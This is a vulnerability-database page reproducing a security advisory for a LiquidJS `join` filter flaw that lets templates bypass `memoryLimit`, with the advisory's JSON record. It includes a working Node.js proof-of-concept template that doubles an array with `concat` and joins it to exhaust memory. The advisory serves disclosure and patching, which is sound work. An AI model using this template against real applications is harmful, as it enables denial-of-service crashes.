GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-4R6H-5V86-94P3

Vulnerability from github – Published: 2026-09-08 18:10 – Updated: 2026-09-08 18:10
VLAI
Summary
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
Details

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against liquidjs@10.27.1, Node v24.3.0.

const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len);  // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,0001385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.27.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.27.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:10:35Z",
    "nvd_published_at": "2026-08-19T21:17:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget \u2014 bounded only by V8/process limits, not by `memoryLimit`.\n\n### Details\n\n```js\n// src/filters/array.ts:8-13\nexport const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {\n  const array = toArray(v)\n  const sep = isNil(arg) ? \u0027 \u0027 : stringify(arg)\n  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes\n  this.context.memoryLimit.use(complexity)\n  return array.join(sep)                                // allocates sum(element lengths) + separators\n})\n```\n\n`concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array\u0027s element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives \u2014 it\u0027s the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn\u0027t reflect that.\n\nSame undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) \u2014 `join` wasn\u0027t covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect.\n\n### PoC\n\nLive-reproduced against `liquidjs@10.27.1`, Node v24.3.0.\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense\n\nconst E = 5000, DOUBLINGS = 13;\nconst chunk = \u0027a\u0027.repeat(E);\nlet tpl = `{%- assign s = \"${chunk}\" -%}{%- assign a = s | split: \"NOSUCHSEP\" -%}`;\nfor (let i = 0; i \u003c DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -\u003e 8192 elements\ntpl += `{%- assign out = a | join: \"\" -%}{{ out | size }}`;\n\nconst len = Number(engine.renderSync(engine.parse(tpl))); // succeeds \u2014 should be blocked\nconsole.log(\u0027output length:\u0027, len);  // output length: 40960000\n```\n\nVerified by binary-search on `memoryLimit`: render is **blocked at 29573**, **succeeds at 29574** \u2014 confirming total charge across `split`+13\u00d7`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: **40,960,000** \u2014 **1385x** the total charged, \u003e4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash.\n\n### Impact\n\nAny app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering \"array concat/join/strftime\") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`\u0027s own accounting of its own output. (LiquidJS\u0027s security-model docs call these limits \"cooperative safeguards, not strict isolation\" \u2014 doesn\u0027t change that `join`\u0027s charge is wrong relative to what it allocates.)",
  "id": "GHSA-4r6h-5v86-94p3",
  "modified": "2026-09-08T18:10:35Z",
  "published": "2026-09-08T18:10:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-4r6h-5v86-94p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/pull/925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/7ab49f999ac045ec1e87f3a7a9fd68dd9e8602b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.27.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…